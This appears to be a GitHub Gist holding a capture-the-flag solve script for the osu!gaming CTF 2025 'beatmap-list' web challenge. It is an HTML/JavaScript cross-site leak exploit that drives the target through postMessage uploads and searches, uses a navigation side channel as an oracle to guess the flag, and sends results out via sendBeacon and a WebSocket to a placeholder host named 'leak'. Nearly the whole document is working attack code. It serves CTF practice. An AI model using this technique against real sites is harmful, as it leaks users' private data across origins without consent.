Created
October 27, 2025 02:06
-
-
Save strellic/28a48e9c7979e67d82a56563860c15f1 to your computer and use it in GitHub Desktop.
osu!gaming CTF 2025 - web/beatmap-list solve
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <body> | |
| <script src="https://cdn.jsdelivr.net/npm/jszip@3.10.1/dist/jszip.min.js"></script> | |
| <script> | |
| const TARGET = "https://beatmap-list-web.challs.sekai.team"; | |
| const sleep = ms => new Promise(r => setTimeout(r, ms)); | |
| const ws = new WebSocket('wss://leak/ws'); | |
| const log = (msg) => { | |
| navigator.sendBeacon("//leak/" + msg); | |
| ws.send(msg); | |
| }; | |
| const replaceFields = (osu, fields) => { | |
| const lines = osu.split("\n"); | |
| for (const [key, value] of Object.entries(fields)) { | |
| const index = lines.findIndex((line) => line.startsWith(key + ":")); | |
| lines[index] = key + ":" + value; | |
| } | |
| return lines.join("\n"); | |
| }; | |
| const generateExploitOSZ = async (title) => { | |
| const zip = new JSZip(); | |
| const oszZip = await zip.loadAsync(window.base); | |
| for (const file of Object.keys(oszZip.files)) { | |
| if (file.endsWith(".osu")) { | |
| const osuFile = oszZip.file(file); | |
| const osu = await osuFile.async("string"); | |
| const flagOsu = replaceFields(osu, { | |
| "Title": title | |
| }); | |
| zip.file(file, flagOsu); | |
| } | |
| } | |
| return zip.generateAsync({ type: "arraybuffer" }); | |
| }; | |
| async function oracle(query) { | |
| const osz = await generateExploitOSZ(query); | |
| const w = window.open(TARGET); | |
| await sleep(2000); | |
| w.frames[0].postMessage({ type: "uploadBeatmapSet", osz }, "*"); | |
| await sleep(500); | |
| w.frames[0].postMessage({ type: "search", query }, "*"); | |
| await sleep(500); | |
| w.location = "about:blank"; | |
| w.location = TARGET + "#" + Math.random(); | |
| await new Promise(r => setTimeout(r, 200)); | |
| let result; | |
| try { | |
| w.location.href; | |
| result = false; | |
| } catch { | |
| result = true; | |
| } | |
| w.close(); | |
| await sleep(500); | |
| const w2 = window.open(TARGET); | |
| await sleep(2000); | |
| w2.frames[0].postMessage({ type: "deleteBeatmapSet", beatmapSetId: window.baseId }, "*"); | |
| await sleep(500); | |
| w2.close(); | |
| return result; | |
| } | |
| (async () => { | |
| /* base.osz should be a osz with a .osu map that has a really long slider and high OD */ | |
| window.base = (await fetch("base.osz")).arrayBuffer(); | |
| window.baseId = 2352698; | |
| await sleep(500); | |
| log("loaded"); | |
| log("osu{oszleak " + await oracle("osu{oszleak")); | |
| log("osu{oszleaf " + await oracle("osu{oszleaf")); | |
| })(); | |
| </script> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment